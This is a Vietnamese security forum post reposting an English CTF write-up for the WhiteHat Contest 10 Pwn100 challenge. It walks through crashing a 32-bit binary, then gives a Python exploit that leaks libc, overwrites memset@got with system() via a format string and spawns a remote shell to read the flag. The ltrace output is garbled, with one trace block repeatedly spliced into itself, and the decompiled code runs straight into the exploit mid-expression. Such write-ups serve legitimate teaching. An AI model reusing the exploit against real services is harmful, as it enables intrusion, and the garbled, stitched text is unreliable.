[WhiteHat Contest 10] Writeup Pwn100

sunny

VIP Members
30/06/2014
869
1.849 bài viết
[WhiteHat Contest 10] Writeup Pwn100
Writeup được chia sẻ tại https://ctf-team.vulnhub.com/whitehat-ctf-2015-pwn100/, sunny đưa về WhiteHat cho anh em tham khảo và học tiếng Anh luôn.
Thank barrebas and superkojiman


__________________
Mã:
bas@tritonal:~/tmp/wh/pwn100$ file pwn100
pwn100: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xce8e5ce254c2d733d19d9435903aff3656bef10e, not stripped
bas@tritonal:~/tmp/wh/pwn100$ objdump -d -M intel --no-show-raw-insn ./pwn100 > pwn100.out
Running it:

Mã:
bas@tritonal:~/tmp/wh/pwn100$ ./pwn100
INPUT1
INPUT2
========
T1Verify 1
INPUT1

T2Verify 1
INPUT2

========
T1Verify 1
INPUT1

T2Verify 1
INPUT2
...etc...
It doesn’t do a whole lot, it takes two strings as input and then starts looping. Superkojiman and I quickly realized we could crash this C++ application by sending more than 300 bytes as input. However, this made it crash in strlen:

Mã:
bas@tritonal:~/tmp/wh/pwn100$ python -c 'print "A"*300+"\n"+"B"*300+"\n"' | ltrace ./pwn100
__libc_start_main(0x8048747, 1, 0xffbfc5c4, 0x8048c20, 0x8048c90 
_ZNSt8ios_base4InitC1Ev(0x804a054, 0xf77975e0, 0, 0xf76a7ff4, 0xf77560d0) = 0
__cxa_atexit(0x80485d0, 0x804a054, 0x804a044, 0xf76a7ff4, 0xf77560d0) = 0
malloc(10240)                                    = 0x081af008
memset(0xffbfc10c, '
bas@tritonal:~/tmp/wh/pwn100$ python -c 'print "A"*300+"\n"+"B"*300+"\n"' | ltrace ./pwn100
__libc_start_main(0x8048747, 1, 0xffbfc5c4, 0x8048c20, 0x8048c90 
_ZNSt8ios_base4InitC1Ev(0x804a054, 0xf77975e0, 0, 0xf76a7ff4, 0xf77560d0) = 0
__cxa_atexit(0x80485d0, 0x804a054, 0x804a044, 0xf76a7ff4, 0xf77560d0) = 0
malloc(10240)                                    = 0x081af008
memset(0xffbfc10c, '\000', 1024)                 = 0xffbfc10c
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1024) = 603
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)    = 603
memset(0xffbfc10c, '\000', 1024)                 = 0xffbfc10c
read(0, "", 1024)                                = 0
strlen("")                                       = 0
strlen("")                                       = 0
memset(0x081af020, '\000', 0)                    = 0x081af020
strlen("")                                       = 0
memcpy(0x081af020, "", 0)                        = 0x081af020
strlen("")                                       = 0
strlen("")                                       = 0
write(1, "========\n", 9========
)                        = 9
write(1, "T1", 2T1)                                = 2
memset(0xffbfb8dc, '\000', 1024)                 = 0xffbfb8dc
sprintf("Verify 0\n", "Verify %x\n", 0)          = 9
write(1, "Verify 0\n", 20Verify 0
)                       = 20
memset(0xffbfb8dc, '\000', 1024)                 = 0xffbfb8dc
strlen(NULL 
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
00', 1024)                 = 0xffbfc10c
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1024) = 603
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)    = 603
memset(0xffbfc10c, '
bas@tritonal:~/tmp/wh/pwn100$ python -c 'print "A"*300+"\n"+"B"*300+"\n"' | ltrace ./pwn100
__libc_start_main(0x8048747, 1, 0xffbfc5c4, 0x8048c20, 0x8048c90 
_ZNSt8ios_base4InitC1Ev(0x804a054, 0xf77975e0, 0, 0xf76a7ff4, 0xf77560d0) = 0
__cxa_atexit(0x80485d0, 0x804a054, 0x804a044, 0xf76a7ff4, 0xf77560d0) = 0
malloc(10240)                                    = 0x081af008
memset(0xffbfc10c, '\000', 1024)                 = 0xffbfc10c
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1024) = 603
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)    = 603
memset(0xffbfc10c, '\000', 1024)                 = 0xffbfc10c
read(0, "", 1024)                                = 0
strlen("")                                       = 0
strlen("")                                       = 0
memset(0x081af020, '\000', 0)                    = 0x081af020
strlen("")                                       = 0
memcpy(0x081af020, "", 0)                        = 0x081af020
strlen("")                                       = 0
strlen("")                                       = 0
write(1, "========\n", 9========
)                        = 9
write(1, "T1", 2T1)                                = 2
memset(0xffbfb8dc, '\000', 1024)                 = 0xffbfb8dc
sprintf("Verify 0\n", "Verify %x\n", 0)          = 9
write(1, "Verify 0\n", 20Verify 0
)                       = 20
memset(0xffbfb8dc, '\000', 1024)                 = 0xffbfb8dc
strlen(NULL 
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
00', 1024)                 = 0xffbfc10c
read(0, "", 1024)                                = 0
strlen("")                                       = 0
strlen("")                                       = 0
memset(0x081af020, '
bas@tritonal:~/tmp/wh/pwn100$ python -c 'print "A"*300+"\n"+"B"*300+"\n"' | ltrace ./pwn100
__libc_start_main(0x8048747, 1, 0xffbfc5c4, 0x8048c20, 0x8048c90 
_ZNSt8ios_base4InitC1Ev(0x804a054, 0xf77975e0, 0, 0xf76a7ff4, 0xf77560d0) = 0
__cxa_atexit(0x80485d0, 0x804a054, 0x804a044, 0xf76a7ff4, 0xf77560d0) = 0
malloc(10240)                                    = 0x081af008
memset(0xffbfc10c, '\000', 1024)                 = 0xffbfc10c
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1024) = 603
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)    = 603
memset(0xffbfc10c, '\000', 1024)                 = 0xffbfc10c
read(0, "", 1024)                                = 0
strlen("")                                       = 0
strlen("")                                       = 0
memset(0x081af020, '\000', 0)                    = 0x081af020
strlen("")                                       = 0
memcpy(0x081af020, "", 0)                        = 0x081af020
strlen("")                                       = 0
strlen("")                                       = 0
write(1, "========\n", 9========
)                        = 9
write(1, "T1", 2T1)                                = 2
memset(0xffbfb8dc, '\000', 1024)                 = 0xffbfb8dc
sprintf("Verify 0\n", "Verify %x\n", 0)          = 9
write(1, "Verify 0\n", 20Verify 0
)                       = 20
memset(0xffbfb8dc, '\000', 1024)                 = 0xffbfb8dc
strlen(NULL 
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
00', 0)                    = 0x081af020
strlen("")                                       = 0
memcpy(0x081af020, "", 0)                        = 0x081af020
strlen("")                                       = 0
strlen("")                                       = 0
write(1, "========\n", 9========
)                        = 9
write(1, "T1", 2T1)                                = 2
memset(0xffbfb8dc, '
bas@tritonal:~/tmp/wh/pwn100$ python -c 'print "A"*300+"\n"+"B"*300+"\n"' | ltrace ./pwn100
__libc_start_main(0x8048747, 1, 0xffbfc5c4, 0x8048c20, 0x8048c90 
_ZNSt8ios_base4InitC1Ev(0x804a054, 0xf77975e0, 0, 0xf76a7ff4, 0xf77560d0) = 0
__cxa_atexit(0x80485d0, 0x804a054, 0x804a044, 0xf76a7ff4, 0xf77560d0) = 0
malloc(10240)                                    = 0x081af008
memset(0xffbfc10c, '\000', 1024)                 = 0xffbfc10c
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1024) = 603
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)    = 603
memset(0xffbfc10c, '\000', 1024)                 = 0xffbfc10c
read(0, "", 1024)                                = 0
strlen("")                                       = 0
strlen("")                                       = 0
memset(0x081af020, '\000', 0)                    = 0x081af020
strlen("")                                       = 0
memcpy(0x081af020, "", 0)                        = 0x081af020
strlen("")                                       = 0
strlen("")                                       = 0
write(1, "========\n", 9========
)                        = 9
write(1, "T1", 2T1)                                = 2
memset(0xffbfb8dc, '\000', 1024)                 = 0xffbfb8dc
sprintf("Verify 0\n", "Verify %x\n", 0)          = 9
write(1, "Verify 0\n", 20Verify 0
)                       = 20
memset(0xffbfb8dc, '\000', 1024)                 = 0xffbfb8dc
strlen(NULL 
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
00', 1024)                 = 0xffbfb8dc
sprintf("Verify 0\n", "Verify %x\n", 0)          = 9
write(1, "Verify 0\n", 20Verify 0
)                       = 20
memset(0xffbfb8dc, '
bas@tritonal:~/tmp/wh/pwn100$ python -c 'print "A"*300+"\n"+"B"*300+"\n"' | ltrace ./pwn100
__libc_start_main(0x8048747, 1, 0xffbfc5c4, 0x8048c20, 0x8048c90 
_ZNSt8ios_base4InitC1Ev(0x804a054, 0xf77975e0, 0, 0xf76a7ff4, 0xf77560d0) = 0
__cxa_atexit(0x80485d0, 0x804a054, 0x804a044, 0xf76a7ff4, 0xf77560d0) = 0
malloc(10240)                                    = 0x081af008
memset(0xffbfc10c, '\000', 1024)                 = 0xffbfc10c
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1024) = 603
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)    = 603
memset(0xffbfc10c, '\000', 1024)                 = 0xffbfc10c
read(0, "", 1024)                                = 0
strlen("")                                       = 0
strlen("")                                       = 0
memset(0x081af020, '\000', 0)                    = 0x081af020
strlen("")                                       = 0
memcpy(0x081af020, "", 0)                        = 0x081af020
strlen("")                                       = 0
strlen("")                                       = 0
write(1, "========\n", 9========
)                        = 9
write(1, "T1", 2T1)                                = 2
memset(0xffbfb8dc, '\000', 1024)                 = 0xffbfb8dc
sprintf("Verify 0\n", "Verify %x\n", 0)          = 9
write(1, "Verify 0\n", 20Verify 0
)                       = 20
memset(0xffbfb8dc, '\000', 1024)                 = 0xffbfb8dc
strlen(NULL 
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
00', 1024)                 = 0xffbfb8dc
strlen(NULL 
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

This is unfortunate. It actually combined our inputs and then decided to crash via a null pointer in strlen. We started investigating the binary in more detail. It fills two “Tag” structures on the heap with our input:

Mã:
int Tag::set_tag_content(char*)(int * arg_0) {
    eax = strlen(arg_4);
    if (eax > 8) & 0xff) - (libc_rce & 0xff)) & 0xff
    magic3 = ((0x100 + (libc_rce >> 16) & 0xff) - ((libc_rce >> 8) & 0xff)) & 0xff

    # send new t2
    readtil('content?')

    # ugly format string will write out address of system() into memset@got byte-by-byte
    s.send(p(0x804a020)+p(0x804a021)+p(0x804a022)+"%"+str(magic1)+"c%6$hhn%"+str(magic2)+"c%7$hhn%"+str(magic3)+"c%8$hhn\n")    # 0x804a01c = write@got
    readtil('content?')

    # validate t2 by sending an invalid t1
    s.send("%"*512+"\x01")
    s.recv(100)

    # we now get another shot at sending a correct t1,
    # however, memset is overwritten with system(), so now it should spawn a shell
    s.send('/bin/sh\x0a')

    print "[+] Enjoy your shell!"

    t = telnetlib.Telnet()
    t.sock = s
    t.interact()
    s.close()
pwn()

Let’s run it against the remote system:

Mã:
bas@tritonal:~/tmp/wh/pwn100$ python poc1.py
[+] Leaked write    : 0xf75c0510
[+] libc base addr  : 0xf74e7000
[+] libc system addr: 0xf7526cd0
[+] Enjoy your shell!
T2Verify 1
...snip...
T1sh: 1: Syntax error: Unterminated quoted string
Verify 0
        sh: 1: Verify: not found
/bin/sh
...snip...
 Not verify , content?
id
uid=1002 gid=1002
cat /home/*/flag
WhiteHat{786fdd7b4ed544a186e6457a4c24fe8a95a67bbc}

A lot of crap is printed, but in the end we land our shell!
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Re: [WhiteHat Contest 10] Pwn100

Writeup được chia sẻ lúc "Jul 25th, 2015 8:43 pm" :rolleyes:
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên